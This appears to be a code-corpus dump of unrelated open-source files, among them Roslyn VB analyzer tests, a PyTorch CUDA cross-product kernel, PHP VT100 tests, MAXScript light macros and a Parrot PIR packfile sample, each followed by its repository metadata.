Dim fixedCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer) = Nothing
Dim test = (From x In data).{methodName}(Function(x) x = 1)
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyCodeFixAsync(testCode, fixedCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestQueryComprehensionSyntaxNotUsed(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer) = Nothing
Dim test = (From x In data Where x = 1).{methodName}()
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyAnalyzerAsync(testCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestMultiLineLambda(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer) = Nothing
Dim test = [|data.Where(Function(x)
Console.WriteLine(x)
Return x = 1
End Function).{methodName}()|]
End Sub
End Module"
Dim fixedCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim data As IEnumerable(Of Integer) = Nothing
Dim test = data.{methodName}(Function(x)
Console.WriteLine(x)
Return x = 1
End Function)
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyCodeFixAsync(testCode, fixedCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestQueryableIsNotConsidered(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim testvar1 = New List(Of Integer) From {{ 1, 2, 3, 4, 5, 6, 7, 8 }}
Dim testvar2 = testvar1.AsQueryable()
Dim output = testvar2.Where(Function(x) x = 4).{methodName}()
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyAnalyzerAsync(testCode)
End Function
<Theory, CombinatorialData>
Public Shared Async Function TestNestedLambda(<CombinatorialValues(
"First",
"Last",
"Single",
"Any",
"SingleOrDefault",
"FirstOrDefault",
"LastOrDefault")>
firstMethod As String,
<CombinatorialValues(
"First",
"Last",
"Single",
"Any",
"Count",
"SingleOrDefault",
"FirstOrDefault",
"LastOrDefault")>
secondMethod As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim test = New List(Of String) From {{ ""hello"", ""world"", ""!"" }}
Dim test1 = [|test.Where(Function(x) [|x.Where(Function(c) c.Equals(""!"")).{secondMethod}()|].Equals(""!"")).{firstMethod}()|]
End Sub
End Module"
Dim fixedCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim test = New List(Of String) From {{ ""hello"", ""world"", ""!"" }}
Dim test1 = test.{firstMethod}(Function(x) x.{secondMethod}(Function(c) c.Equals(""!"")).Equals(""!""))
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyCodeFixAsync(testCode, fixedCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestExplicitEnumerableCall(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim test = New List(Of String) From {{ ""hello"", ""world"", ""!"" }}
Dim test1 = [|Enumerable.Where(test, Function(x) x = 1).{methodName}()|]
End Sub
End Module"
Dim fixedCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim test = New List(Of String) From {{ ""hello"", ""world"", ""!"" }}
Dim test1 = Enumerable.{methodName}(test, Function(x) x = 1)
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyCodeFixAsync(testCode, fixedCode)
End Function
<Theory>
<InlineData("First")>
<InlineData("Last")>
<InlineData("Single")>
<InlineData("Any")>
<InlineData("Count")>
<InlineData("SingleOrDefault")>
<InlineData("FirstOrDefault")>
<InlineData("LastOrDefault")>
Public Shared Async Function TestArgumentsInSecondCall(methodName As String) As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim testvar1 = New List(Of Integer) From {{ 1, 2, 3, 4, 5, 6, 7, 8 }}
Dim output = testvar1.Where(Function(x) x = 4).{methodName}(Function(x) x <> 1)
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyAnalyzerAsync(testCode)
End Function
<Fact>
Public Shared Async Function TestUnsupportedFunction() As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Module T
Sub M()
Dim testvar1 = New List(Of Integer) From {{ 1, 2, 3, 4, 5, 6, 7, 8 }}
Dim output = testvar1.Where(Function(x) x = 4).Count()
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyAnalyzerAsync(testCode)
End Function
<Fact>
Public Shared Async Function TestExpressionTreeInput() As Task
Dim testCode = $"
Imports System
Imports System.Linq
Imports System.Collections.Generic
Imports System.Linq.Expressions
Module T
Sub M()
Dim test = New List(Of String) From {{""hello"", ""world"", ""!""}}
Dim queryableData = test.AsQueryable()
Dim pe = Expression.Parameter(GetType(String), ""place"")
Dim left As Expression = Expression.Call(pe, GetType(String).GetMethod(""ToLower"", System.Type.EmptyTypes))
Dim right As Expression = Expression.Constant(""coho winery"")
Dim e1 = Expression.Equal(left, right)
left = Expression.Property(pe, GetType(String).GetProperty(""Length""))
right = Expression.Constant(16, GetType(Integer))
Dim e2 = Expression.GreaterThan(left, right)
Dim predicateBody = Expression.OrElse(e1, e2)
Dim lambda1 = Function(num) num < 5
Dim result = queryableData.Where(Expression.Lambda(Of Func(Of String, Boolean))(predicateBody, pe)).First()
End Sub
End Module"
Await VisualBasicCodeFixVerifier(Of VisualBasicSimplifyLinqExpressionDiagnosticAnalyzer, VisualBasicSimplifyLinqExpressionCodeFixProvider).VerifyAnalyzerAsync(testCode)
End Function
End Class
End Namespace
| Visual Basic | 5 | frandesc/roslyn | src/Analyzers/VisualBasic/Tests/SimplifyLinqExpression/VisualBasicSimplifyLinqExpressionTests.vb | [
"MIT"
] |
<div class="panel hidden" id="panel-doctools" name="Tools">
<button class="white disabled-in-offline-mode" id="lockEditsButton">
<i class="ri-rotate-lock-fill"></i>
<span>lock edits</span>
<i class="toggle"></i>
</button>
<button class="white" id="spellCheckerButton">
<i class="ri-emphasis"></i>
<span>spell-checker</span>
<i class="toggle"></i>
</button>
<button class="white" id="viewingModeButton">
<i class="ri-window-fill"></i>
<span>viewing mode</span>
<i class="toggle"></i>
</button>
</div> | Kit | 3 | pws1453/web-client | source/imports/app/docs-panel-doctools.kit | [
"MIT"
] |
/// <reference path='fourslash.ts' />
////const f = {
//// get a() {
//// return await Promise.resolve();
//// },
//// get a() {
//// await Promise.resolve();
//// },
////}
verify.not.codeFixAvailable();
| TypeScript | 2 | nilamjadhav/TypeScript | tests/cases/fourslash/codeFixAwaitInSyncFunction3.ts | [
"Apache-2.0"
] |
import { w, used } from "./module";
export default it =>
it("should have the correct exports", () => {
expect(w).toBe("w");
if (__webpack_runtime_id__ === "a") {
expect(used).toEqual({
w: true,
v: false,
x: true,
y: false,
z: false
});
} else if (__webpack_runtime_id__ === "b") {
expect(used).toEqual({
w: true,
v: true,
x: false,
y: true,
z: false
});
} else {
expect(__webpack_runtime_id__).toBe("a or b");
}
});
| JavaScript | 4 | fourstash/webpack | test/configCases/optimization/depend-on-runtimes/a-or-b.js | [
"MIT"
] |
Implicit with locale EN HTML | HTML+ERB | 3 | mdesantis/rails | actionmailer/test/fixtures/base_mailer/implicit_with_locale.en.html.erb | [
"MIT"
] |
#include <ATen/ATen.h>
#include <ATen/cuda/detail/KernelUtils.h>
#include <ATen/native/Cross.h>
#include <ATen/native/cuda/Loops.cuh>
namespace at { namespace native {
template <typename T, typename OffsetCalc, typename StrideType>
__global__ void cross_kernel(
int numel, T* out, const T* x1, const T* x2, OffsetCalc offset_calculator,
StrideType ostride, StrideType x1stride, StrideType x2stride) {
CUDA_KERNEL_LOOP(i, numel) {
const auto offsets = offset_calculator.get(i);
auto* out_row = out + offsets[0];
const auto* x1_row = x1 + offsets[1];
const auto* x2_row = x2 + offsets[2];
const T val0 = (x1_row[1 * x1stride] * x2_row[2 * x2stride] -
x1_row[2 * x1stride] * x2_row[1 * x2stride]);
const T val1 = (x1_row[2 * x1stride] * x2_row[0 * x2stride] -
x1_row[0 * x1stride] * x2_row[2 * x2stride]);
const T val2 = (x1_row[0 * x1stride] * x2_row[1 * x2stride] -
x1_row[1 * x1stride] * x2_row[0 * x2stride]);
out_row[0 * ostride] = val0;
out_row[1 * ostride] = val1;
out_row[2 * ostride] = val2;
}
}
void launch_cross_kernel(const TensorIteratorBase& iter, int64_t ostride,
int64_t x1stride, int64_t x2stride) {
const auto N = iter.numel();
auto offset_calculator = make_element_offset_calculator<3>(iter);
TORCH_INTERNAL_ASSERT_DEBUG_ONLY(N > 0 && N <= std::numeric_limits<int32_t>::max());
int64_t grid = (N + NUM_THREADS - 1) / NUM_THREADS;
auto stream = at::cuda::getCurrentCUDAStream();
AT_DISPATCH_ALL_TYPES_AND_COMPLEX_AND(kHalf, iter.common_dtype(), "cross_cuda", [&] {
auto out = static_cast<scalar_t*>(iter.data_ptr(0));
auto x1 = static_cast<const scalar_t*>(iter.data_ptr(1));
auto x2 = static_cast<const scalar_t*>(iter.data_ptr(2));
constexpr int64_t int_max = std::numeric_limits<int>::max();
if (ostride * 2 > int_max || x1stride * 2 > int_max || x2stride * 2 > int_max) {
cross_kernel<<<grid, num_threads, 0, stream>>>(
N, out, x1, x2, offset_calculator, ostride, x1stride, x2stride);
C10_CUDA_KERNEL_LAUNCH_CHECK();
} else {
cross_kernel<<<grid, num_threads, 0, stream>>>(
N, out, x1, x2, offset_calculator,
static_cast<int>(ostride),
static_cast<int>(x1stride),
static_cast<int>(x2stride));
C10_CUDA_KERNEL_LAUNCH_CHECK();
}
});
}
void cross_impl(Tensor& result, const Tensor& x1, const Tensor& x2, int64_t dim) {
const int64_t ostride = result.stride(dim);
const int64_t x1stride = x1.stride(dim);
const int64_t x2stride = x2.stride(dim);
auto iter = TensorIteratorConfig()
.add_output(result)
.add_input(x1)
.add_input(x2)
.resize_outputs(false)
.declare_static_shape(result.sizes(), /*squash_dims=*/dim)
.build();
if (iter.numel() == 0) {
return;
}
if (iter.can_use_32bit_indexing()) {
launch_cross_kernel(iter, ostride, x1stride, x2stride);
} else {
for (auto&& sub_iter: iter.with_32bit_indexing()) {
launch_cross_kernel(sub_iter, ostride, x1stride, x2stride);
}
}
}
REGISTER_DISPATCH(cross_stub, &cross_impl);
}}
| Cuda | 4 | Hacky-DH/pytorch | aten/src/ATen/native/cuda/CrossKernel.cu | [
"Intel"
] |
\version "2.18"
\language "français"
\header {
tagline = ""
composer = ""
}
MetriqueArmure = {
\tempo 2.=50
\time 6/4
\key sib \major
}
italique = { \override Score . LyricText #'font-shape = #'italic }
roman = { \override Score . LyricText #'font-shape = #'roman }
MusiqueCouplet = \relative do' {
\partial 2. re4\p re^"Solo" re
sol2. la2 la4
sib2 sib4 \breathe
la4 sib la
sol2. \acciaccatura {la16[ sol]} fad2 sol4
la2 r4 re,2 re4
sol2 sol4 la\< sol la
sib2\! \acciaccatura {la16[ sol]} fa4 \breathe sib2 do4
re2 do4 sol2 la4
sib2. ~ sib2 \bar "||"
}
MusiqueRefrainI = \relative do'' {
re4\f^"Chœur"
re2 do4 sib2 la4
sol2. fad2 \breathe re4
sol2 la4 sib2 do4
re2.~ re4 \oneVoice r \voiceOne re\f
re2 do4 sib2 la4
sol2. fad2 \oneVoice r4 \voiceOne
sol2 la4\< sib la sol\!
la2. sib2( la4)
sol2.\fermata \bar "|."
}
MusiqueRefrainII = \relative do'' {
sib4
sib2 la4 sol2 re4
mib4 re dod re2 do4
sib2 re4 sol2 sol4
fad2.~ fad4 s sib4
sib2 la4 sol2 re4
mib4 re dod re2 s4
sib2 do4 re do sib
do2. re2( do4)
sib2.
}
ParolesCouplet = \lyricmode {
Le soir é -- tend sur la Ter -- re
Son grand man -- teau de ve -- lours,
Et le camp, calme et so -- li -- tai -- re,
Se re -- cueille en ton a -- mour.
}
ParolesRefrain = \lyricmode {
\italique
Ô Vier -- ge de lu -- miè -- re,
É -- toi -- le de nos cœurs,
En -- tends no -- tre pri -- è -- re,
No -- tre_- Da -- me des É -- clai -- reurs_!
}
\score{
<<
\new Staff <<
\set Staff.midiInstrument = "flute"
\set Staff.autoBeaming = ##f
\new Voice = "couplet" {
\override Score.PaperColumn #'keep-inside-line = ##t
\MetriqueArmure
\MusiqueCouplet
\voiceOne
\MusiqueRefrainI
}
\new Voice = "refrainII" {
s4*50
\voiceTwo
\MusiqueRefrainII
}
>>
\new Lyrics \lyricsto couplet {
\ParolesCouplet
\ParolesRefrain
}
>>
\layout{}
\midi{}
}
| LilyPond | 4 | jacobwhall/panflute | examples/input/lilypond-score.ly | [
"BSD-3-Clause"
] |
--TEST--
Test sapi_windows_vt100_support on newer Windows versions with redirected STDIN/STDOUT
--SKIPIF--
<?php
if (getenv("SKIP_IO_CAPTURE_TESTS")) {
die("skip I/O capture test");
}
if(PHP_OS_FAMILY !== "Windows") {
echo "skip Only for Windows systems";
} elseif (version_compare(
PHP_WINDOWS_VERSION_MAJOR.'.'.PHP_WINDOWS_VERSION_MINOR.'.'.PHP_WINDOWS_VERSION_BUILD,
'10.0.10586'
) < 0) {
echo "skip Only for Windows systems >= 10.0.10586";
}
?>
--CAPTURE_STDIO--
STDIN STDOUT
--FILE--
<?php
require __DIR__.'/sapi_windows_vt100_support.inc';
testToStdOut();
?>
--EXPECTF--
STDIN (constant):
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
STDIN (fopen):
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
STDIN (php://fd/0):
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
STDOUT (constant):
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
STDOUT (fopen):
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
STDOUT (php://fd/1):
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
STDERR (constant):
- current value : bool(false)
- enabling VT100 : bool(true)
- current value : bool(true)
- disabling VT100: bool(true)
- current value : bool(false)
STDERR (fopen):
- current value : bool(false)
- enabling VT100 : bool(true)
- current value : bool(true)
- disabling VT100: bool(true)
- current value : bool(false)
STDERR (php://fd/2):
- current value : bool(false)
- enabling VT100 : bool(true)
- current value : bool(true)
- disabling VT100: bool(true)
- current value : bool(false)
Invalid stream (php://temp):
- current value : bool(false)
- enabling VT100 :
Warning: sapi_windows_vt100_support(): not able to analyze the specified stream in %s on line %d
bool(false)
- current value : bool(false)
- disabling VT100:
Warning: sapi_windows_vt100_support(): not able to analyze the specified stream in %s on line %d
bool(false)
- current value : bool(false)
Invalid stream (php://input):
- current value : bool(false)
- enabling VT100 :
Warning: sapi_windows_vt100_support(): not able to analyze the specified stream in %s on line %d
bool(false)
- current value : bool(false)
- disabling VT100:
Warning: sapi_windows_vt100_support(): not able to analyze the specified stream in %s on line %d
bool(false)
- current value : bool(false)
Invalid stream (php://memory):
- current value : bool(false)
- enabling VT100 :
Warning: sapi_windows_vt100_support(): not able to analyze the specified stream in %s on line %d
bool(false)
- current value : bool(false)
- disabling VT100:
Warning: sapi_windows_vt100_support(): not able to analyze the specified stream in %s on line %d
bool(false)
- current value : bool(false)
File stream:
- current value : bool(false)
- enabling VT100 : bool(false)
- current value : bool(false)
- disabling VT100: bool(false)
- current value : bool(false)
| PHP | 3 | NathanFreeman/php-src | tests/output/sapi_windows_vt100_support_winok_in-out.phpt | [
"PHP-3.01"
] |
declare default element namespace "http://www.tei-c.org/ns/1.0";
for $i in //*[local-name() eq "figure" or local-name() eq "table"][@coords] return
($i/@coords/string(), not(empty($i/table))) | XQuery | 3 | ithaka/grobid | grobid-core/src/main/resources/xq/figure-table-coords.xq | [
"Apache-2.0"
] |
-- Macro Scripts File
-- Created: Nov 17 1998
-- Modified: Fred Ruff April 22 2002
-- Author: Frank DeLise
-- Macro Scripts for Lights
--***********************************************************************************************
-- MODIFY THIS AT YOUR OWN RISK
macroScript Omni_Light
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
tooltip:"Omni Light"
ButtonText:"Omni Light"
icon:#("Lights",3)
(
on execute do StartObjectCreation OmniLight
on isChecked return mcrUtils.IsCreating OmniLight
)
macroScript Target_Spotlight
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Target Spotlight"
tooltip:"Target Spotlight"
icon:#("Lights",1)
(
on execute do StartObjectCreation Targetspot
on isChecked return mcrUtils.IsCreating Targetspot
)
macroScript Target_Directional_Light
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Target Directional Light"
tooltip:"Target Directional Light"
icon:#("Lights",2)
(
on execute do StartObjectCreation TargetDirectionalLight
on isChecked return mcrUtils.IsCreating TargetDirectionalLight
)
macroScript Free_Spotlight
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Free Spotlight"
tooltip:"Free Spotlight"
icon:#("Lights",4)
(
on execute do StartObjectCreation FreeSpot
on isChecked return mcrUtils.IsCreating FreeSpot
)
macroScript Directional_Light
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Directional Light"
tooltip:"Free Directional Light"
icon:#("Lights",5)
(
on execute do StartObjectCreation DirectionalLight
on isChecked return mcrUtils.IsCreating DirectionalLight
)
--***********************************************************************************************
-- New Radiosity and Photometric Lights
macroScript Skylight
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Skylight"
tooltip:"Skylight"
(
on execute do StartObjectCreation Skylight
on isChecked return mcrUtils.IsCreating Skylight
)
macroScript Daylight
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Daylight"
tooltip:"Daylight"
(
on execute do StartObjectCreation Daylight
on isChecked return mcrUtils.IsCreating Daylight
)
macroScript IES_Sky
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"IES Sky"
tooltip:"IES Sky"
(
on execute do StartObjectCreation IES_Sky
on isChecked return mcrUtils.IsCreating IES_Sky
)
macroScript IES_Sun
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"IES Sun"
tooltip:"IES Sun"
(
on execute do StartObjectCreation IES_Sun
on isChecked return mcrUtils.IsCreating IES_Sun
)
macroScript TargetPoint
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Target Point"
tooltip:"Target Point"
(
on execute do StartObjectCreation Target_Point
on isChecked return mcrUtils.IsCreating Target_Point
)
macroScript FreePoint
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Free Point"
tooltip:"Free Point"
(
on execute do StartObjectCreation Free_Point
on isChecked return mcrUtils.IsCreating Free_Point
)
macroScript TargetLinear
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Target Linear"
tooltip:"Target Linear"
(
on execute do StartObjectCreation Target_Linear
on isChecked return mcrUtils.IsCreating Target_Linear
)
macroScript FreeLinear
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Free Linear"
tooltip:"Free Linear"
(
on execute do StartObjectCreation Free_Linear
on isChecked return mcrUtils.IsCreating Free_Linear
)
macroScript TargetArea
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Target Area"
tooltip:"Target Area"
(
on execute do StartObjectCreation Target_Area
on isChecked return mcrUtils.IsCreating Target_Area
)
macroScript FreeArea
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Free Area"
tooltip:"Free Area"
(
on execute do StartObjectCreation Free_Area
on isChecked return mcrUtils.IsCreating Free_Area
)
macroScript SunLight
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
ButtonText:"Sunlight System"
tooltip:"Sunlight System"
icon:#("Systems",2)
(
on execute do StartObjectCreation Sunlight
on isChecked return mcrUtils.IsCreating Sunlight
)
--***********************************************************************************************
-- Light Commands
MacroScript Light_On
ButtonText:"Light On"
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
Tooltip:"Light On/Off Toggle"
(
On IsVisible Return Filters.Is_Light $ and (isProperty $ #on or (isProperty $ #delegate and isProperty $.delegate #on))
on ischecked Do
Try (if isProperty $ #on then $.on else $.delegate.on)
Catch ()
On Execute Do
Try
( if isProperty $ #on then
$.on = not $.on
else
$.delegate.on = not $.delegate.on
)
Catch ()
)
MacroScript Light_Shadows
ButtonText:"Cast Shadows"
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
Tooltip:"Shadows On/Off Toggle"
(
On IsVisible Return Filters.Is_Light $ and (isProperty $.baseObject #castShadows or (isProperty $ #delegate and isProperty $.delegate #castShadows))
on ischecked Do
Try (if isProperty $.baseObject #castShadows then $.baseObject.castShadows else $.delegate.castShadows)
Catch ()
On Execute Do
Try
( if isProperty $.baseObject #castShadows then
$.baseObject.castShadows = not $.baseObject.castShadows
else
$.delegate.castShadows = not $.delegate.castShadows
)
Catch ()
)
MacroScript Light_AffectDiffuse
ButtonText:"Affect Diffuse"
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
Tooltip:"Affect Diffuse Toggle"
(
On IsVisible Return Filters.Is_Light $ and (isProperty $ #AffectDiffuse or (isProperty $ #delegate and isProperty $.delegate #AffectDiffuse))
on ischecked Do
Try (if isProperty $ #AffectDiffuse then $.AffectDiffuse else $.delegate.AffectDiffuse)
Catch ()
On Execute Do
Try
( if isProperty $ #AffectDiffuse then
$.AffectDiffuse = not $.AffectDiffuse
else
$.delegate.AffectDiffuse = not $.delegate.AffectDiffuse
)
Catch ()
)
MacroScript Light_AffectSpecular
ButtonText:"Affect Specular"
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
Tooltip:"Affect Specular Toggle"
(
On IsVisible Return Filters.Is_Light $ and (isProperty $ #AffectSpecular or (isProperty $ #delegate and isProperty $.delegate #AffectSpecular))
on ischecked Do
Try (if isProperty $ #AffectSpecular then $.AffectSpecular else $.delegate.AffectSpecular)
Catch ()
On Execute Do
Try
( if isProperty $ #AffectSpecular then
$.AffectSpecular = not $.AffectSpecular
else
$.delegate.AffectSpecular = not $.delegate.AffectSpecular
)
Catch ()
)
MacroScript Light_AmbientOnly
ButtonText:"Ambient Only"
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
Tooltip:"Ambient Only Toggle"
(
On IsVisible Return Filters.Is_Light $ and (isProperty $ #AmbientOnly or (isProperty $ #delegate and isProperty $.delegate #AmbientOnly))
on ischecked Do
Try (if isProperty $ #AmbientOnly then $.AmbientOnly else $.delegate.AmbientOnly)
Catch ()
On Execute Do
Try
( if isProperty $ #AmbientOnly then
$.AmbientOnly = not $.AmbientOnly
else
$.delegate.AmbientOnly = not $.delegate.AmbientOnly
)
Catch ()
)
MacroScript Light_SelectTarget
ButtonText:"Select Target"
category:"Lights and Cameras"
internalcategory:"Lights and Cameras"
Tooltip:"Select Target (Lights)"
(
On IsVisible Return Filters.Is_Light $
On Execute Do Try(if $.target != undefined do select $.Target) Catch()
)
| MAXScript | 4 | 89096000/MaxScript | Modelling/softinstance/treeview/icons/Macro_Lights.mcr | [
"MIT"
] |
#lang scribble/manual
@(require (for-label racket))
@title[#:tag "ch:syntactic-forms" #:style 'toc]{Syntactic Forms}
The core of the Rosette language (@racketmodname[rosette/safe]) consists of two kinds of syntax forms: a set of basic forms @deftech[#:key "lifted constructs"]{lifted} from Racket, and a set of forms for @seclink["ch:essentials"]{solver-aided programming}. We use the term ``lifted'' to refer to parts of the Racket language that can be used with symbolic values and other solver-aided constructs.
@[table-of-contents]
@include-section["racket-forms.scrbl"]
@include-section["rosette-forms.scrbl"]
| Racket | 4 | lukenels/rosette | rosette/guide/scribble/forms/forms.scrbl | [
"BSD-2-Clause"
] |
# comment line with no final newline test
@prefix : <http://example.org/#> .
:a :b :c .
#foo
| Turtle | 1 | joshrose/audacity | lib-src/lv2/sord/tests/test-26.ttl | [
"CC-BY-3.0"
] |
0.000000000000000000e+00
1.000000000000000000e+00
2.000000000000000000e+00
4.000000000000000000e+00
8.000000000000000000e+00
1.600000000000000000e+01
3.200000000000000000e+01
6.400000000000000000e+01
1.280000000000000000e+02
2.560000000000000000e+02
5.120000000000000000e+02
1.024000000000000000e+03
2.048000000000000000e+03
4.096000000000000000e+03
8.192000000000000000e+03
1.638400000000000000e+04
3.276800000000000000e+04
2.738541000000000000e+06
1.704779000000000000e+06
4.935290000000000000e+05
2.120990000000000000e+05
1.069730000000000000e+05
5.810100000000000000e+04
3.187700000000000000e+04
1.737000000000000000e+04
9.239000000000000000e+03
4.578000000000000000e+03
2.150000000000000000e+03
8.720000000000000000e+02
2.860000000000000000e+02
8.400000000000000000e+01
2.200000000000000000e+01
5.000000000000000000e+00
1.000000000000000000e+00
| CSV | 0 | jColeChanged/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers | sandbox/Chapter10_/data/gh_stars.csv | [
"MIT"
] |
<%
Option Explicit
Response.Expires = 0
%>
<!--
* This file is part of the LibreOffice project.
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*
* This file incorporates work covered by the following license notice:
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed
* with this work for additional information regarding copyright
* ownership. The ASF licenses this file to you under the Apache
* License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of
* the License at http://www.apache.org/licenses/LICENSE-2.0 .
-->
<!-- #include file = "common.inc" -->
<%
Session( "GIFID" ) = File_getDataVirtual( csFileCurrent, ".", ";" )( 0 )
%>
<HTML>
<HEAD>
</HEAD>
<FRAMESET ROWS="*,2" BORDER=0 FRAMEBORDER=0 FRAMESPACING=0>
<FRAME SRC="./show.asp" NAME="frame1" SCROLLING=yes RESIZE MARGINWIDTH=0 MARGINHEIGHT=0 FRAMEBORDER=0>
<FRAME SRC="./poll.asp" NAME="frame2" SCROLLING=no NORESIZE MARGINWIDTH=0 MARGINHEIGHT=0 FRAMEBORDER=0>
</FRAMESET>
<NOFRAMES>
<BODY BGCOLOR="white">
<META HTTP-EQUIV="-REFRESH" CONTENT="1;URL=./show.asp">
</BODY>
</HTML> | ASP | 3 | jerrykcode/kkFileView | office-plugin/windows-office/share/config/webcast/webcast.asp | [
"Apache-2.0"
] |
#Copyright (C) 2009, Parrot Foundation.
# Sample creating of "Hello World" program using Packfile PMCs.
.sub 'main'
.local pmc pf, pfdir, pfbc, pfconst, oplib
# Hello World is something like
# .sub 'hello'
# say "Hello World"
# .end
# To generate PBC we need few bits
# First thing
# Packfile will be created with fresh directory
pf = new 'Packfile'
pfdir = pf.'get_directory'()
# We need some constants
pfconst = new 'PackfileConstantTable'
# We will need Sub PMC as well but will deal with it later.
# Add PackfileConstantTable into directory.
pfdir["CONSTANTS_hello.pir"] = pfconst
# Generate bytecode
pfbc = new 'PackfileBytecodeSegment'
.local pmc op
# Here is our function
op = new ['ResizablePMCArray']
op[0] = 'say_sc'
$I0 = pfconst.'get_or_create_constant'("Hello, World")
op[1] = $I0
push pfbc, op
# Empty FIA for handling returns from "hello"
$P0 = new 'FixedIntegerArray'
op = new ['ResizablePMCArray']
op[0] = 'set_returns_pc'
$I0 = pfconst.'get_or_create_constant'($P0)
op[1] = $I0
push pfbc, op
op = new ['ResizablePMCArray']
op[0] = 'returncc'
push pfbc, op
# Store bytecode
pfdir['BYTECODE_hello.pir'] = pfbc
# Now create Sub PMC using hash of values.
$P0 = new 'Hash'
$P0['start_offs'] = 0
$P0['end_offs'] = 5
